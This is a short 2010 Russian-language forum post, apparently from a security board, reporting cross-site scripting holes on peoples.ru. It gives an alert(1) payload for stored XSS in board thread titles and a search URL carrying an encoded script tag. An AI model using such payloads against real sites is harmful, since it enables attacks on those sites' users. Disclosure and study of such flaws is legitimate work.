21.09.2010, 05:08
|
|
Постоянный
Регистрация: 18.11.2009
Сообщений: 709
С нами:
8674045
Репутация:
214
|
|
Сообщение от zlo12
www.peoples.ru
Активная xss в названии темы на доске объявлений
Код:
Пример:
alert(1)
http://www.peoples.ru/in/board_messages.php
такая же фигня в ссылках, в теме и теле +
Код:
http://www.peoples.ru/search/?name=%3Cscript%3Ealert%281%29%3C%2Fscript%3E
|
|
|